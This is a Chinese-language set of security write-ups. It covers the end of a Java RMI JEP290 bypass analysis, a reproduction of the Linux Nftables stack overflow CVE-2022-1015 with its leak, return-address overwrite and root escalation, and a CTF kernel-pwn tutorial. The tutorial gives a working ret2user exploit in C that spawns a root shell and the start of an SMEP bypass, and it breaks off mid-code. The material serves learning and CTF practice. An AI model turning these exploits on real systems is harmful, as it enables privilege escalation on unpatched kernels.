Registry.class
}, obj);
return proxy;
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:
这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
一路跟进到 sun.rmi.transport.LiveRef#read
可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。
跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。
到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进
releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法
var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息
接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下
里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。
在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。
invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP
至此绕过分析结束
0x05 小结
本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍
Nftables
Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。
钩子点(Hook Point)
钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。
// include/uapi/linux/netfilter_ipv4.h
#define NF_IP_PRE_ROUTING 0 /* After promisc drops, checksum checks. */
#define NF_IP_LOCAL_IN 1 /* If the packet is destined for this box. */
#define NF_IP_FORWARD 2 /* If the packet is destined for another interface. */
#define NF_IP_LOCAL_OUT 3 /* Packets coming from a local process. */
#define NF_IP_POST_ROUTING 4 /* Packets about to hit the wire. */
#define NF_IP_NUMHOOKS 5
Nftables的架构
Nftables由四部分组成
table(表):用于指定网络协议的类型,如ip,ip6,arp等
chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。
rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。
express(表达式):表达式则是具体的操作。
使用非常形象的图描述,如下
表达式(express)
表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。
nft_payload
nft_payload用于将数据包的值拷贝到寄存器中
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
base:数据包类型
offset:数据包起始位置的偏移
len:拷贝的长度
dreg:目的寄存器
其中base的类型由enum nft_payload_bases指定
/* include/uapi/linux/netfilter/nf_tables.h */
/**
* enum nft_payload_bases - nf_tables payload expression offset bases
*
* @NFT_PAYLOAD_LL_HEADER: link layer header
* @NFT_PAYLOAD_NETWORK_HEADER: network header
* @NFT_PAYLOAD_TRANSPORT_HEADER: transport header
* @NFT_PAYLOAD_INNER_HEADER: inner header / payload
*/
enum nft_payload_bases {
NFT_PAYLOAD_LL_HEADER, //链路层
NFT_PAYLOAD_NETWORK_HEADER, //网络层
NFT_PAYLOAD_TRANSPORT_HEADER, //传输层
NFT_PAYLOAD_INNER_HEADER, //数据包内部
};
下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2
base = NFT_PAYLOAD_TRANSPORT_HEADER
offset = 16 -> the checksum is 16 bytes away from the start of the TCP header
len = 2 -> the checksum is 2 bytes
dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00)
nft_payload_set
nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面
/* include/net/netfilter/nf_tables_core.h */
struct nft_payload_set {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 sreg;
u8 csum_type;
u8 csum_offset;
u8 csum_flags;
};
与nft_payload不同的是多了校验和的可选选项
nft_cmp_expr
nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。
struct nft_cmp_expr {
struct nft_data data;
u8 sreg;
u8 len;
enum nft_cmp_ops op:8;
};
data:用于设置比较的常量值
sreg:源寄存器,可以认为是数据包取出的内容
len:比较的长度
op:比较的操作,具体操作类型如下所示
<!-- -->/**
* enum nft_cmp_ops - nf_tables relational operator
*
* @NFT_CMP_EQ: equal
* @NFT_CMP_NEQ: not equal
* @NFT_CMP_LT: less than
* @NFT_CMP_LTE: less than or equal to
* @NFT_CMP_GT: greater than
* @NFT_CMP_GTE: greater than or equal to
*/
enum nft_cmp_ops {
NFT_CMP_EQ,
NFT_CMP_NEQ,
NFT_CMP_LT,
NFT_CMP_LTE,
NFT_CMP_GT,
NFT_CMP_GTE,
};
nft_bitwise
nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。
struct nft_bitwise {
u8 sreg;
u8 dreg;
enum nft_bitwise_ops op:8;
u8 len;
struct nft_data mask;
struct nft_data xor;
struct nft_data data;
};
sreg:源寄存器
dreg:目的寄存器,用于存放最后的结果
op:指定具体的比特操作,具体操作如下
<!-- -->/**
* enum nft_bitwise_ops - nf_tables bitwise operations
*
* @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and
* XOR boolean operations
* @NFT_BITWISE_LSHIFT: left-shift operation
* @NFT_BITWISE_RSHIFT: right-shift operation
*/
enum nft_bitwise_ops {
NFT_BITWISE_BOOL,
NFT_BITWISE_LSHIFT,
NFT_BITWISE_RSHIFT,
};
mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中
xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中
data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。
寄存器(register)
在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示
enum nft_registers {
NFT_REG_VERDICT, //判定寄存器
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
...
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};
其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下
NFT_CONTINUE:允许数据包通过防火墙
NFT_BREAK:跳过剩余的规则表达式
NF_DROP:直接丢弃数据包
NF_ACCEPT:接收数据包
NFT_GOTO:跳转到其他链执行
NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链
libmnl与libnftnl
由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl
环境搭建
环境版本
ubuntu 20.04
qemu-system-x86_64 4.2.1
Linux-5.17源码
设置编译选项
cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17
sudo gedit .config
#将下列选项设置为y
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
make -j32 bzImage #编译
#安装依赖库
sudo apt-get install libmnl-dev
sudo apt-get install libnftnl-dev
漏洞验证
若运行exp显示超过边界则代表没有漏洞
若exp正常运行则代表漏洞
漏洞分析
源码分析
nft_parse_register_load
nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。
nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。
File: net\netfilter\nf_tables_api.c
9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
9326: {
9327: u32 reg;
9328: int err;
9329:
9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标
9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点
9332: if (err < 0)
9333: return err;
9334:
9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中
9336: return 0;
9337: }
nft_parse_register
nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。
File: net\netfilter\nf_tables_api.c
9278: static unsigned int nft_parse_register(const struct nlattr *attr)
9279: {
9280: unsigned int reg;
9281:
9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8
9283: switch (reg) {
//0 - 4是16字节寄存器
9284: case NFT_REG_VERDICT...NFT_REG_4:
9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4
9286: default:
//由于4字节寄存器起始下标为8,因此要减去起始下标
9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4
9288: }
9289: }
nft_validate_register_load
nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。
正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题
漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff
<!-- -->File: net\netfilter\nf_tables_api.c
9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
9314: {
9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错
9316: return -EINVAL;
9317: if (len == 0) //长度为0则报错
9318: return -EINVAL;
9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞
9320: return -ERANGE;
9321:
9322: return 0;
9323: }
nft_do_chain
每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。
File: net\netfilter\nf_tables_core.c
197: unsigned int
198: nft_do_chain(struct nft_pktinfo *pkt, void *priv)
199: {
...
224: for (; rule < last_rule; rule = nft_rule_next(rule)) {
225: nft_rule_dp_for_each_expr(expr, last, rule) {
226: if (expr->ops == &nft_cmp_fast_ops)
227: nft_cmp_fast_eval(expr, ®s);
228: else if (expr->ops == &nft_bitwise_fast_ops)
229: nft_bitwise_fast_eval(expr, ®s);
230: else if (expr->ops != &nft_payload_fast_ops ||
231: !nft_payload_fast_eval(expr, ®s, pkt))
232: expr_call_ops_eval(expr, ®s, pkt);
233:
234: if (regs.verdict.code != NFT_CONTINUE)
235: break;
236: }
...
expr_call_ops_eval
expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。
File: net\netfilter\nf_tables_core.c
161: static void expr_call_ops_eval(const struct nft_expr *expr,
162: struct nft_regs *regs,
163: struct nft_pktinfo *pkt)
164: {
165: #ifdef CONFIG_RETPOLINE
166: unsigned long e = (unsigned long)expr->ops->eval;
167: #define X(e, fun) \
168: do { if ((e) == (unsigned long)(fun)) \
169: return fun(expr, regs, pkt); } while (0)
170:
171: X(e, nft_payload_eval);
172: X(e, nft_cmp_eval);
173: X(e, nft_counter_eval);
174: X(e, nft_meta_get_eval);
175: X(e, nft_lookup_eval);
176: X(e, nft_range_eval);
177: X(e, nft_immediate_eval);
178: X(e, nft_byteorder_eval);
179: X(e, nft_dynset_eval);
180: X(e, nft_rt_get_eval);
181: X(e, nft_bitwise_eval);
182: #undef X
183: #endif /* CONFIG_RETPOLINE */
184: expr->ops->eval(expr, regs, pkt);
185: }
nft_payload_eval
这里可以看到regs存放在栈上面,dest这个变量值是通过®s->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。
File: net\netfilter\nft_payload.c
121: void nft_payload_eval(const struct nft_expr *expr,
122: struct nft_regs *regs,
123: const struct nft_pktinfo *pkt)
124: {
125: const struct nft_payload *priv = nft_expr_priv(expr);
126: const struct sk_buff *skb = pkt->skb;
127: u32 *dest = ®s->data[priv->dreg];
...
165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据
166: goto err;
167: return;
168: err:
169: regs->verdict.code = NFT_BREAK;
170: }
因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。
漏洞利用
漏洞利用分析
现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况
由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置
如何通过数组越界改写返回地址
由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址
由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。
nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40
上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。
下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0
内核地址泄露
接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。
返回地址覆盖
由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。
可以发现在0x360的地址处也有一个内核的代码段地址
并且可以发现该函数主要是处理udp包的发送
为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。
可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。
exp分析
现在我们已经具有了两个利用条件
泄露内核的程序基地址
找到可以劫持程序执行流程的地址值
地址泄露
利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中
接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值
返回地址覆盖
利用nft_payload完成返回地址的覆盖
在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限
首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限
其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间
最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数
漏洞修复
补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理
总结
Nftables栈溢出漏洞攻击流程
首先利用nft_bitwise进行内核基地址的泄露。
其次是利用nft_payload改写返回地址,并将提权代码注入进去。
最后等到代码被触发。
Nftables栈溢出漏洞利用的限制
不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍
Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。
Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。
Linux Kernel 环境
vmlinuz或bzImage:linux内核的压缩镜像
vmlinux:linux内核的符号表
initramfs.cpio.gz:文件系统,有系统启动的信息
run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护
Linux Kernel gadget获取
通过压缩的linux内核镜像获取符号表
./extract-image.sh ./vmlinuz > vmlinux
extract-image.sh
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
ROPgadget获取
不建议用ROPgadget,速度比较慢
ROPgadget --binary ./vmlinux > gadgets.txt
Ropper获取
使用ropper速度会比较快
ropper --file ./vmlinux --nocolor > g
直接获取
./vmlinux > gadgets.txt
然后搜索
cat gadgets.txt | grep 'pop'
文件系统
解包
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
打包
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
Linux Kernel的保护措施
Kernel stack cookies【canary】:防止内核栈溢出
Kernel address space layout【KASLR】:内核地址随机化
Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。
开启:在-cpu参数中设置+smep
关闭:nosmep添加到-append
Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。
开启:在-cpu参数中设置+smap
关闭:nosmap添加到-append
Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。
开启:kpti=1
关闭:nopti添加到-append
hxpCTF 2020 kernel-rop
这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read
这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息
hackme_write
hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。
动态调试
首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试
其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0
否则直接运行不会显示模块的地址,结果如下
将权限修改为0之后,就可以正常显示了
然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中
最后就可以开启远程调试了,target remote:1234
这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme
在hackme_write中打下断点
这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。
使用ni进行单步调试,程序会直接运行,无法断下来。
使用si则可以单步
至此就可以对hackme.ko的模块进行调试了。
未开启保护
首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。
run.sh
在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护
qemu-system-x86_64 \
-m 128M \
-cpu kvm64\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \
-s
ret2user
由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。
首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可
在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据
可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来
这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。
在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。
prepare_kernel_cred函数
prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。
commit_creds函数
commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。
因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0))
在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。
执行swags指令之前
执行swags指令之后
最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。
iretq 指令有以下三个功能:
恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。
恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。
恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。
iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。
保存寄存器的汇编代码如下
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
在iretq指令后跟随的值如下
exp
因此最后构造的exp如下
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
绕过SMEP
SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \
-s
修改CR4寄存器
前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1
那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。
找到native_write_cr4函数
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
